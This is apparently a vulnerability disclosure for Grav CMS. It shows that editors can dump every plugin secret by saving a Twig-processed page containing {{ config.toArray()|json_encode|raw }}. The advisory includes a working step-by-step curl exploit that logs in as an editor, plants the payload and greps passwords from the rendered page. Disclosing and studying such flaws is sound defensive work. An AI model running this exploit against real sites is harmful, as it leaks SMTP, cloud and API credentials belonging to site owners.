Description

## Summary The Twig sandbox allow-list permits any user with the `admin.pages` role to call `config.toArray()` from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required. ## Details The Twig sandbox allow-list in `system/config/security.yaml` explicitly permits `Config::toArray()` for the `Grav\Common\Config\Config` class: ```yaml - class: 'Grav\Common\Config\Config' methods: 'get, toarray, value, default, offsetget, offsetexists' ``` The `config` object — which holds the full merged configuration tree including every key under `plugins.*` — is injected into every sandboxed render in `system/src/Grav/Common/Twig/Twig.php` (line 292): ```php $twig_vars = [..., 'config' => $config, ...] ``` Any editor with `admin.pages` can save a page with `process.twig: true` in the frontmatter and the following payload in the body: ``` {{ config.toArray()|json_encode|raw }} ``` When the page is rendered, the full config tree is dumped as JSON in the HTML, including all plugin secrets stored under `user/config/plugins/*.yaml`. ## PoC ```bash # Step 1 — Get login nonce NONCE=$(curl -sc /tmp/cookies.txt http://TARGET/admin \ | grep -oP '(?<=name="login-nonce" value=")[^"]+') # Step 2 — Login as editor (no admin.super) curl -sc /tmp/cookies.txt -b /tmp/cookies.txt \ -X POST http://TARGET/admin \ --data-urlencode "data[username]=EDITOR_USER" \ --data-urlencode "data[password]=EDITOR_PASS" \ --data-urlencode "task=login" \ --data-urlencode "login-nonce=${NONCE}" -o /dev/null # Step 3 — Get admin nonce ADMIN_NONCE=$(curl -s -b /tmp/cookies.txt http://TARGET/admin/pages \ | grep -oP '(?<=admin-nonce" value=")[^"]+' | head -1) # Step 4 — Save page with process.twig:true and payload curl -s -b /tmp/cookies.txt \ -X POST http://TARGET/admin/pages/poc \ --data-urlencode "admin-nonce=${ADMIN_NONCE}" \ --data-urlencode "task=save" \ --data-urlencode "data[frontmatter]=title: poc process: twig: true published: true" \ --data-urlencode "data[content]={{ config.toArray()|json_encode|raw }}" \ --data-urlencode "data[folder]=poc" \ --data-urlencode "data[route]=/" \ --data-urlencode "data[name]=default" -o /dev/null # Step 5 — Retrieve secrets from rendered page curl -s http://TARGET/poc | grep -o '"password":"[^"]*"' ``` ## Impact Any user with the editor role (`admin.pages`) can exfiltrate all plugin credentials stored in the site configuration without any administrator privileges. Affected secrets include SMTP passwords, AWS access/secret keys, OAuth client secrets, reCAPTCHA keys, and any API token stored in plugin YAML config. Each extracted credential independently compromises the connected service.
